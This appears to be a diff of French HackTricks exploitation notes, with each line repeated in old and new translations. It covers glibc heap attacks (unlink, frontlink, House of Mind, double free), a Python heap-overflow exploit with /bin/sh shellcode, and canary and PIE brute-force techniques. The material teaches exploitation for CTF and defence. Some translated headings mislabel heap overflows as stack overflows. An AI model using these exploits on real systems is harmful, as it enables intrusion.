Consiste à réaliser un ROP de manière à appeler la fonction strcpy@plt (de la plt) et à pointer vers l'entrée de la GOT et à copier le premier octet de la fonction à laquelle on veut appeler (system()). Ensuite, on fait de même en pointant vers GOT+1 et en copiant le 2ème octet de system()... Enfin, on appelle l'adresse stockée dans la GOT qui sera system()
**Faux EBP**
Pour les fonctions qui utilisent l'EBP comme registre pour pointer vers les arguments, en modifiant l'EIP et en pointant vers system(), l'EBP doit également être modifié pour qu'il pointe vers une zone de mémoire qui ait 2 octets quelconques et ensuite l'adresse à &"/bin/sh".
Pour les fonctions qui utilisent l'EBP comme registre pour pointer vers les arguments en modifiant l'EIP et en pointant vers system(), l'EBP doit également avoir été modifié pour pointer vers une zone mémoire contenant 2 octets quelconques, puis l'adresse de &"/bin/sh".
**Jaulas con chroot()**
**Cages avec chroot()**
debootstrap -arch=i386 hardy /home/user —> Installe un système de base sous un sous-répertoire spécifique
debootstrap -arch=i386 hardy /home/user —> Installe un système de base dans un sous-répertoire spécifique
Un admin peut sortir de l'une de ces cages en faisant : mkdir foo; chroot foo; cd ..
Un administrateur peut sortir de l'une de ces cages en faisant : mkdir foo; chroot foo; cd ..
**Instrumentation de code**
@ -709,161 +705,161 @@ Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Débordements de tas : Exploits basiques**
## **8 Débordements de la pile : Exploits de base**
**Trozo asignado**
**Chunk alloué**
prev_size |\
prev\_size |\
size | —En-tête\
*mem | Données
\*mem | Données
**Trozo libre**
**Chunk libre**
prev_size |\
prev\_size |\
size |\
*fd | Pointeur vers le chunk suivant\
*bk | Pointeur vers le chunk précédent —En-tête\
*mem | Données
\*fd | Ptr chunk suivant\
\*bk | Ptr chunk précédent —En-tête\
\*mem | Données
Les chunks libres sont dans une liste doublement chaînée (bin) et il ne peut jamais y avoir deux chunks libres côte à côte (ils fusionnent)
Les chunks libres sont dans une liste doublement chaînée (bin) et il ne peut jamais y avoir deux chunks libres consécutifs (ils sont fusionnés).
Dans "size", il y a des bits pour indiquer : Si le chunk précédent est utilisé, si le chunk a été alloué via mmap() et si le chunk appartient à l'arène principale.
Dans "size", il y a des bits pour indiquer : si le chunk précédent est utilisé, si le chunk a été alloué via mmap() et si le chunk appartient à l'arena principal.
Si lors de la libération d'un chunk, l'un des chunks contigus est libre, ils fusionnent en utilisant la macro unlink() et le nouveau chunk plus grand est passé à frontlink() pour l'insérer dans le bin approprié.
Lorsqu'un chunk est libéré et que des chunks contigus sont libres, ils sont fusionnés à l'aide de la macro unlink() et le nouveau chunk le plus grand est passé à frontlink() pour qu'il soit inséré dans le bon bin.
unlink(){\
BK = P->bk; —> Le BK du nouveau chunk est celui qu'avait le chunk libre précédent\
FD = P->fd; —> Le FD du nouveau chunk est celui qu'avait le chunk libre précédent\
BK = P->bk; —> Le BK du nouveau chunk est celui du chunk qui était déjà libre avant\
FD = P->fd; —> Le FD du nouveau chunk est celui du chunk qui était déjà libre avant\
FD->bk = BK; —> Le BK du chunk suivant pointe vers le nouveau chunk\
BK->fd = FD; —> Le FD du chunk précédent pointe vers le nouveau chunk\
}
Donc, si nous parvenons à modifier le P->bk avec l'adresse d'un shellcode et le P->fd avec l'adresse d'une entrée dans la GOT ou DTORS moins 12, on obtient :
Par conséquent, si nous parvenons à modifier P->bk avec l'adresse d'un shellcode et P->fd avec l'adresse d'une entrée dans la GOT ou DTORS moins 12, nous obtenons :
BK = P->bk = &shellcode\
FD = P->fd = &__dtor_end__ - 12\
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Et ainsi le shellcode est exécuté à la sortie du programme.
Et ainsi, lorsque le programme se termine, le shellcode est exécuté.
De plus, la 4ème instruction de unlink() écrit quelque chose et le shellcode doit être préparé pour cela :
De plus, la 4ème instruction de unlink() écrit quelque chose et le shellcode doit être ajusté pour cela :
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Cela provoque l'écriture de 4 octets à partir du 8ème octet du shellcode, donc la première instruction du shellcode doit être un jmp pour sauter cela et tomber sur des nops qui mènent au reste du shellcode.
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Cela provoque l'écriture de 4 octets à partir du 8ème octet du shellcode, donc la première instruction du shellcode doit être un jmp pour sauter cela et atteindre des nops qui mènent au reste du shellcode.
Donc, l'exploit est créé :
Ainsi, l'exploit est créé :
Dans le buffer1, nous mettons le shellcode commençant par un jmp pour qu'il tombe sur les nops ou sur le reste du shellcode.
Dans le buffer1, nous mettons le shellcode en commençant par un jmp pour qu'il tombe sur les nops ou sur le reste du shellcode.
Après le shellcode, nous mettons du remplissage jusqu'à atteindre les champs prev_size et size du chunk suivant. À ces endroits, nous mettons 0xfffffff0 (de sorte que le prev_size soit écrasé pour avoir le bit indiquant qu'il est libre) et "-4" (0xfffffffc) dans le size (pour que lorsqu'il vérifie dans le 3ème chunk si le 2ème était libre, il aille en réalité au prev_size modifié qui lui dira qu'il est libre) -> Ainsi, lorsque free() enquêtera, il ira au size du 3ème mais en réalité au 2ème - 4 et pensera que le 2ème chunk est libre. Et alors il appellera **unlink()**.
Après le shellcode, nous ajoutons du rembourrage jusqu'à atteindre le champ prev\_size et size du chunk suivant. À ces endroits, nous mettons 0xfffffff0 (pour écraser prev\_size pour qu'il ait le bit indiquant qu'il est libre) et "-4" (0xfffffffc) dans size (pour que lors de la vérification du 3ème chunk si le 2ème était libre, en réalité il ira au prev\_size modifié qui lui dira qu'il est libre) -> Ainsi, lorsque free() enquête, il ira au size du 3ème mais en réalité ira au 2ème - 4 et pensera que le 2ème chunk est libre. Ensuite, il appelle **unlink()**.
En appelant unlink(), il utilisera comme P->fd les premières données du 2ème chunk, donc là, nous mettrons l'adresse que nous voulons écraser - 12 (car dans FD->bk, il ajoutera 12 à l'adresse sauvegardée dans FD). Et dans cette adresse, il introduira la deuxième adresse trouvée dans le 2ème chunk, qui nous intéressera pour qu'elle soit l'adresse du shellcode (P->bk faux).
En appelant unlink(), il utilisera les premières données du 2ème chunk, donc c'est là que l'adresse que l'on veut écraser - 12 (car dans FD->bk, il ajoutera 12 à l'adresse stockée dans FD) sera insérée. Et à cette adresse, on insère la deuxième adresse trouvée dans le 2ème chunk, qui doit être l'adresse du shellcode (faux P->bk).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de remplissage**
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de rembourrage
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
**prev_size = pack("\<I”, 0xfffffff0) #Intéressant que le bit indiquant que le chunk précédent est libre soit à 1**
prev\_size = pack("\<I”, 0xfffffff0) #Il est important que le bit indiquant que le chunk précédent est libre soit à 1
**fake_size = pack("\<I”, 0xfffffffc) #-4, pour que le "size" du 3ème chunk soit 4 octets derrière (il pointe vers prev_size) car c'est là qu'il regarde si le 2ème chunk est libre**
fake\_size = pack("\<I”, 0xfffffffc) #-4, pour que le 3ème chunk pense que le 2ème est libre
**addr_sc = pack("\<I", 0x0804a008 + 8) #Dans le payload au début, nous mettrons 8 octets de remplissage**
addr\_sc = pack("\<I", 0x0804a008 + 8) #Dans la charge utile, nous commençons par 8 octets de rembourrage
**got_free = pack("\<I", 0x08048300 - 12) #Adresse de free() dans la plt-12 (ce sera l'adresse qui sera écrasée pour que le shellcode soit lancé la 2ème fois que free() est appelé)**
got\_free = pack("\<I", 0x08048300 - 12) #Adresse de free() dans la plt-12 (sera l'adresse écrasée pour lancer le shellcode la 2ème fois que free est appelé)
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Comme dit précédemment, le payload commence avec 8 octets de remplissage**
payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Comme mentionné, la charge utile commence par 8 octets de rembourrage
**payload += prev_size + fake_size + got_free + addr_sc #Le 2ème chunk est modifié, le got_free pointe vers où nous allons sauvegarder l'adresse addr_sc + 12**
payload += prev\_size + fake\_size + got\_free + addr\_sc #Le 2ème chunk est modifié, got\_free pointe là où nous allons stocker l'adresse addr\_sc + 12
**os.system("./8.3.o " + payload)**
os.system("./8.3.o " + payload)
**unset() libérant dans le sens inverse (wargame)**
unset() en libérant dans le sens inverse (wargame)
Nous contrôlons 3 chunks consécutifs et ils sont libérés dans l'ordre inverse de la réservation.
Dans ce cas :
Dans le chunk c, on met le shellcode
Dans le chunk c, on place le shellcode
Le chunk a est utilisé pour écraser le b de sorte que le size ait le bit PREV_INUSE désactivé de sorte qu'il pense que le chunk a est libre.
Le chunk a est utilisé pour écraser le b de manière à ce que le size ait le bit PREV\_INUSE désactivé, de sorte qu'il pense que le chunk a est libre.
De plus, le size est écrasé dans l'en-tête b pour qu'il vaille -4.
De plus, dans l'en-tête b, le size est écrasé pour qu'il soit égal à -4.
Ainsi, le programme pensera que "a" est libre et dans un bin, donc il appellera unlink() pour le désenlacer. Cependant, comme la taille PREV_SIZE vaut -4. Il pensera que le morceau de "a" commence réellement à b+4. C'est-à-dire, il fera un unlink() à un morceau qui commence à b+4, donc à b+12 sera le pointeur "fd" et à b+16 sera le pointeur "bk".
Ainsi, le programme pensera que "a" est libre et dans un bin, donc il appellera unlink() pour le détacher. Cependant, comme l'en-tête PREV\_SIZE vaut -4, il pensera que le chunk "a" commence en b+4. Autrement dit, il fera un unlink() à un chunk qui commence en b+4, donc à b+12, il y aura le pointeur "fd" et à b+16, il y aura le pointeur "bk".
De cette façon, si nous mettons l'adresse du shellcode dans bk et l'adresse de la fonction "puts()" -12 dans fd, nous avons notre payload.
De cette manière, si nous mettons l'adresse du shellcode dans bk et l'adresse de la fonction "puts()" -12 dans fd, nous avons notre charge utile.
**Technique de Frontlink**
Frontlink est appelé lorsqu'un élément est libéré et aucun de ses chunks contigus n'est libre, unlink() n'est pas appelé mais frontlink() est appelé directement.
Frontlink est appelé lorsqu'un élément est libéré et aucun de ses chunks adjacents n'est libre, unlink() n'est pas appelé mais frontlink() est appelé directement.
Vulnérabilité utile lorsque le malloc attaqué n'est jamais libéré (free()).
Nécessite :
Un tampon qui peut être débordé avec la fonction d'entrée de données
Un tampon qui peut être débordé avec la fonction de saisie de données
Un tampon contigu à celui-ci qui doit être libéré et dont le champ fd de l'en-tête sera modifié grâce au débordement du tampon précédent
Un tampon contigu à celui-ci qui doit être libéré et dont le champ fd de son en-tête peut être modifié grâce au débordement du tampon précédent
Un tampon à libérer avec une taille supérieure à 512 mais inférieure au tampon précédent
Un tampon déclaré avant l'étape 3 qui permet de réécrire le prev_size de celui-ci
Un tampon déclaré avant l'étape 3 qui permet de modifier le prev\_size de celui-ci
De cette façon, en réussissant à écrire de manière incontrôlée dans deux mallocs et de manière contrôlée mais en libérant seulement celui-ci, nous pouvons créer un exploit.
De cette manière, en modifiant deux malloc de manière incontrôlée et un de manière contrôlée mais qui n'est libéré qu'une seule fois, nous pouvons créer un exploit.
**Vulnérabilité double free()**
Si free() est appelé deux fois avec le même pointeur, deux bins pointent vers la même adresse.
Si l'on veut réutiliser l'un, il sera attribué sans problème. Si l'on veut utiliser un autre, il lui sera attribué le même espace, donc nous aurons les pointeurs "fd" et "bk" falsifiés avec les données que la réservation précédente écrira.
Si l'on veut réutiliser l'un, il sera attribué sans problème. Si l'on veut utiliser l'autre, il sera attribué à la même adresse, ce qui signifie que les pointeurs "fd" et "bk" sont falsifiés avec les données écrites par la réservation précédente.
**After free()**
Un pointeur précédemment libéré est réutilisé sans contrôle.
## **8 Débordements de tas : Exploits avancés**
## **8 Débordements de la pile : Exploits avancés**
Les techniques Unlink() et FrontLink() ont été éliminées en modifiant la fonction unlink().
Les techniques Unlink() et FrontLink() ont été supprimées en modifiant la fonction unlink().
**The house of mind**
Une seule appel à free() est nécessaire pour provoquer l'exécution de code arbitraire. Il est intéressant de chercher un deuxième chunk qui peut être débordé par un précédent et libéré.
Une seule appel à free() est nécessaire pour provoquer l'exécution de code arbitraire. Il est important de rechercher un deuxième chunk qui peut être débordé par un premier et libéré.
Un appel à free() provoque l'appel à public_fREe(mem), qui fait :
Un appel à free() appelle public\_fREe(mem), qui fait :
mstate ar_ptr;
mstate ar\_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Renvoie un pointeur à l'adresse où commence le chunk (mem-8)
p = mem2chunk(mes); —> Renvoie un pointeur vers l'adresse où commence le chunk (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
…
_int_free(ar_ptr, mem);
\_int\_free(ar\_ptr, mem);
}
Dans [1], il vérifie le champ size le bit NON_MAIN_ARENA, qui peut être modifié pour que la vérification retourne true et exécute heap_for_ptr() qui fait un and à "mem" en mettant à 0 les 2,5 octets les moins importants (dans notre cas de 0x0804a000 laisse 0x08000000) et accède à 0x08000000->ar_ptr (comme si c'était un struct heap_info)
Dans \[1], il vérifie le champ size du bit NON\_MAIN\_ARENA, que l'on peut altérer pour que la vérification renvoie true et exécute heap\_for\_ptr() qui effectue un "et" à "mem" en laissant les 2,5 octets les moins importants à 0 (dans notre cas, de 0x0804a000, il laisse 0x08000000) et accède à 0x08000000->ar\_ptr (comme s'il s'agissait d'une structure heap\_info).
De cette façon, si nous pouvons contrôler un chunk par exemple à 0x0804a000 et qu'un chunk va être libéré à **0x081002a0**, nous pouvons atteindre l'adresse 0x08100000 et écrire ce que nous voulons, par exemple **0x0804a000**. Lorsque ce deuxième chunk sera libéré, il trouvera que heap_for_ptr(ptr)->ar_ptr retourne ce que nous avons écrit à 0x08100000 (car l'and que nous avons vu précédemment est appliqué à 0x081002a0 et de là, il prend la valeur des 4 premiers octets, le ar_ptr)
De cette manière, si nous pouvons contrôler un chunk, par exemple à 0x0804a000 et qu'un chunk sera libéré à **0x081002a0**, nous pouvons atteindre l'adresse 0x08100000 et écrire ce que nous voulons, par exemple **0x0804a000**. Lorsque ce deuxième chunk est libéré, il constatera que heap\_for\_ptr(ptr)->ar\_ptr renvoie ce que nous avons écrit à 0x08100000 (car il applique à 0x081002a0 le "et" que nous avons vu auparavant et en tire la valeur des 4 premiers octets, l'ar\_ptr).
De cette façon, _int_free(ar_ptr, mem) est appelé, c'est-à-dire, **_int_free(0x0804a000, 0x081002a0)**
**_int_free(mstate av, Void_t* mem){**\
De cette manière, si nous pouvons contrôler un chunk, par exemple à 0x0804a000 et qu'un chunk sera libéré à **0x081002a0**\
**\_int\_free(ar\_ptr, mem){**\
…\
bck = unsorted_chunks(av);\
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
@ -872,21 +868,20 @@ fwd->bk = p;
..}
Comme nous l'avons vu précédemment, nous pouvons contrôler la valeur de av, car c'est ce que nous écrivons dans le chunk qui va être libéré.
Comme nous l'avons vu précédemment, nous pouvons contrôler la valeur de av, car c'est ce que nous écrivons dans le chunk qui sera libéré.
Comme unsorted_chunks est défini, nous savons que :\
bck = &av->bins[2]-8;\
fwd = bck->fd = *(av->bins[2]);\
fwd->bk = *(av->bins[2] + 12) = p;
Tel que défini unsorted\_chunks, nous savons que :\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Par conséquent, si dans av->bins[2] nous écrivons la valeur de __DTOR_END__-12, dans la dernière instruction, l'adresse du deuxième chunk sera écrite dans __DTOR_END__.
Par conséquent, si nous écrivons av->bins\[2] la valeur de \_\_DTOR\_END\_\_-12, à la dernière instruction, elle sera écrite à \_\_DTOR\_END\_\_.\
C'est-à-dire, dans le premier chunk, nous devons mettre au début de nombreuses fois l'adresse de \_\_DTOR\_END\_\_-12, car av->bins\[2\] le prendra de là.
C'est-à-dire, dans le premier chunk, nous devons mettre au début plusieurs fois l'adresse de __DTOR_END__-12 parce que c'est de là que av->bins[2] sera extrait.
À l'adresse où tombera l'adresse du deuxième chunk avec les 5 derniers zéros, nous devons écrire l'adresse de ce premier chunk pour que heap\_for\_ptr() pense que l'ar\_ptr est au début du premier chunk et tire av->bins\[2\].
À l'adresse où tombe l'adresse du deuxième chunk avec les 5 derniers zéros, nous devons écrire l'adresse de ce premier chunk pour que heap_for_ptr() pense que l'ar_ptr est au début du premier chunk et en tire av->bins[2]
Dans le deuxième chunk et grâce au premier, nous écrivons prev\_size avec un jump 0x0c et size avec quelque chose pour activer -> NON\_MAIN\_ARENA.
Dans le deuxième chunk et grâce au premier, nous écrasons le prev_size avec un saut 0x0c et le size avec quelque chose pour activer -> NON_MAIN_ARENA
Ensuite, dans le deuxième chunk, nous mettons beaucoup de nops au début et enfin le shellcode.
Ensuite, dans le chunk 2, nous mettons beaucoup de nops et finalement le shellcode
De cette façon, _int_free(TROZO1, TROZO2) sera appelé et suivra les instructions pour écrire
De cette manière, **\_int\_free(ar\_ptr, mem)** sera appelé, c'est-à-dire **\_int\_free(0x0804a000

66
exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
View file

@ -1,32 +1,32 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Si vous êtes confronté à un binaire protégé par un canary et PIE (Position Independent Executable), vous devrez probablement trouver un moyen de les contourner.**
**Si vous êtes confronté à un binaire protégé par un canari et PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.**
![](<../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
Notez que **`checksec`** pourrait ne pas détecter qu'un binaire est protégé par un canary s'il a été compilé statiquement et qu'il n'est pas capable d'identifier la fonction.\
Cependant, vous pouvez manuellement le remarquer si vous trouvez qu'une valeur est sauvegardée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant de sortir.
Notez que **`checksec`** pourrait ne pas détecter qu'un binaire est protégé par un canari s'il a été compilé de manière statique et n'est pas capable d'identifier la fonction.\
Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant la sortie.
{% endhint %}
# Brute force Canary
# Contourner le canari par force brute
La meilleure façon de contourner un canary simple est si le binaire est un programme **créant des processus enfants à chaque fois que vous établissez une nouvelle connexion** avec celui-ci (service réseau), car à chaque connexion **le même canary sera utilisé**.
La meilleure façon de contourner un canari simple est si le binaire est un programme **créant des processus enfants à chaque fois que vous établissez une nouvelle connexion** avec lui (service réseau), car chaque fois que vous vous connectez à lui, **le même canari sera utilisé**.
Ensuite, la meilleure façon de contourner le canary est simplement de le **forcer brutalement caractère par caractère**, et vous pouvez déterminer si l'octet de canary deviné était correct en vérifiant si le programme s'est écrasé ou continue son déroulement régulier. Dans cet exemple, la fonction **force brutalement un canary de 8 octets (x64)** et distingue entre un octet correctement deviné et un mauvais octet juste en **vérifiant** si une **réponse** est renvoyée par le serveur (une autre manière dans **une autre situation** pourrait être d'utiliser un **try/except**):
Ainsi, la meilleure façon de contourner le canari est simplement de le **forcer par caractère**, et vous pouvez déterminer si l'octet de canari deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction **force le canari de 8 octets (x64)** et distingue entre un octet deviné correct et un mauvais octet en vérifiant simplement si une **réponse** est renvoyée par le serveur (dans une **autre situation**, on pourrait utiliser un **try/except**):
## Exemple 1
@ -72,7 +72,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
## Exemple 2
Ceci est implémenté pour 32 bits, mais cela pourrait être facilement modifié pour 64 bits.\
Notez également que pour cet exemple, **le programme attendait d'abord un octet pour indiquer la taille de l'entrée** et le payload.
Notez également que pour cet exemple, **le programme attend d'abord un octet pour indiquer la taille de l'entrée** et de la charge utile.
```python
from pwn import *
@ -113,22 +113,22 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
# Print Canary
# Imprimer le Canary
Une autre manière de contourner le canary est de **l'imprimer**.\
Imaginez une situation où un **programme vulnérable** à un débordement de pile peut exécuter une fonction **puts** **pointant** vers une **partie** du **débordement de pile**. L'attaquant sait que **le premier octet du canary est un octet nul** (`\x00`) et que le reste du canary est composé d'octets **aléatoires**. Ensuite, l'attaquant peut créer un débordement qui **écrase la pile jusqu'au premier octet du canary**.\
Puis, l'attaquant **appelle la fonctionnalité puts** au milieu du payload, ce qui va **imprimer tout le canary** (à l'exception du premier octet nul).\
Avec cette information, l'attaquant peut **concevoir et envoyer une nouvelle attaque** en connaissant le canary (dans la même session du programme)
Une autre façon de contourner le canary est de **l'imprimer**.\
Imaginez une situation où un **programme vulnérable** à un débordement de pile peut exécuter une fonction **puts** pointant vers une **partie** du **débordement de pile**. L'attaquant sait que le **premier octet du canary est un octet nul** (`\x00`) et que le reste du canary est composé d'octets **aléatoires**. Ensuite, l'attaquant peut créer un débordement qui **écrase la pile jusqu'au premier octet du canary**.\
Ensuite, l'attaquant **appelle la fonctionnalité puts** sur le milieu de la charge utile, ce qui **imprimera tout le canary** (à l'exception du premier octet nul).\
Avec ces informations, l'attaquant peut **créer et envoyer une nouvelle attaque** en connaissant le canary (dans la même session du programme)
Évidemment, cette tactique est très **limitée** car l'attaquant doit être capable d'**imprimer** le **contenu** de son **payload** pour **exfiltrer** le **canary**, puis être capable de créer un nouveau payload (dans la **même session du programme**) et **envoyer** le **vrai débordement de pile**.\
De toute évidence, cette tactique est très **limitée** car l'attaquant doit être capable d'**imprimer** le **contenu** de sa **charge utile** pour **exfiltrer** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session du programme**) et **envoyer** le **vrai débordement de tampon**.\
Exemple CTF : [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
# PIE
Pour contourner le PIE, vous devez **fuir une adresse**. Et si le binaire ne fuit aucune adresse, la meilleure façon de faire est de **forcer brutalement le RBP et le RIP sauvegardés dans la pile** dans la fonction vulnérable.\
Par exemple, si un binaire est protégé à la fois par un **canary** et **PIE**, vous pouvez commencer par forcer brutalement le canary, puis les **8 octets suivants** (x64) seront le RBP **sauvegardé** et les **8 octets suivants** seront le RIP **sauvegardé**.
Pour contourner le PIE, vous devez **fuir une adresse**. Et si le binaire ne fuit pas d'adresses, le mieux à faire est de **forcer le RBP et le RIP sauvegardés dans la pile** dans la fonction vulnérable.\
Par exemple, si un binaire est protégé à la fois par un **canary** et le **PIE**, vous pouvez commencer par forcer le canary, puis les **8 octets suivants** (x64) seront le RBP sauvegardé et les **8 octets suivants** seront le RIP sauvegardé.
Pour forcer brutalement le RBP et le RIP du binaire, vous pouvez déduire qu'un octet deviné valide est correct si le programme affiche quelque chose ou s'il ne plante tout simplement pas. **La même fonction** que celle fournie pour forcer brutalement le canary peut être utilisée pour forcer brutalement le RBP et le RIP :
Pour forcer le RBP et le RIP à partir du binaire, vous pouvez déterminer qu'un octet deviné valide est correct si le programme affiche quelque chose ou s'il ne plante pas. La **même fonction** que celle fournie pour forcer le canary peut être utilisée pour forcer le RBP et le RIP :
```python
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
@ -139,31 +139,31 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
## Obtenir l'adresse de base
La dernière chose dont vous avez besoin pour vaincre le PIE est de calculer **les adresses utiles à partir des adresses divulguées** : le **RBP** et le **RIP**.
La dernière chose dont vous avez besoin pour contourner le PIE est de calculer **des adresses utiles à partir des adresses divulguées** : le **RBP** et le **RIP**.
À partir du **RBP**, vous pouvez calculer **où vous écrivez votre shell dans la pile**. Cela peut être très utile pour savoir où vous allez écrire la chaîne _"/bin/sh\x00"_ dans la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement placer un **point d'arrêt après avoir divulgué le RBP** et vérifier **où se trouve votre shellcode**, puis, vous pouvez calculer la distance entre le shellcode et le RBP :
À partir du **RBP**, vous pouvez calculer **où vous écrivez votre shell dans la pile**. Cela peut être très utile pour savoir où vous allez écrire la chaîne _"/bin/sh\x00"_ à l'intérieur de la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement mettre un **point d'arrêt après avoir divulgué le RBP** et vérifier **où se trouve votre shellcode**, puis vous pouvez calculer la distance entre le shellcode et le RBP :
```python
INI_SHELLCODE = RBP - 1152
```
Depuis le **RIP**, vous pouvez calculer **l'adresse de base du binaire PIE** qui est ce dont vous aurez besoin pour créer une **chaîne ROP valide**.
Pour calculer l'adresse de base, faites simplement `objdump -d vunbinary` et vérifiez les dernières adresses désassemblées :
À partir du **RIP**, vous pouvez calculer l'**adresse de base du binaire PIE** dont vous aurez besoin pour créer une **chaîne ROP valide**.\
Pour calculer l'adresse de base, exécutez simplement `objdump -d vunbinary` et vérifiez les dernières adresses désassemblées :
![](<../../.gitbook/assets/image (145).png>)
Dans cet exemple, vous pouvez voir que seulement **1 octet et demi est nécessaire** pour localiser tout le code, donc, l'adresse de base dans cette situation sera le **RIP divulgué mais se terminant par "000"**. Par exemple, si vous avez divulgué _0x562002970**ecf**_, l'adresse de base est _0x562002970**000**_
Dans cet exemple, vous pouvez voir qu'il ne faut que **1 octet et demi** pour localiser tout le code, donc, l'adresse de base dans cette situation sera le **RIP divulgué mais se terminant par "000"**. Par exemple, si vous avez divulgué _0x562002970**ecf**_, l'adresse de base sera _0x562002970**000**_.
```python
elf.address = RIP - (RIP & 0xfff)
```
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
D'autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
